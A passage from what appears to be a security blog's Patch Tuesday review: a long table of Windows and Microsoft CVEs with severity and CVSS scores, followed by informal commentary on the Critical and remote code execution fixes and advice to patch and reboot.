Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop 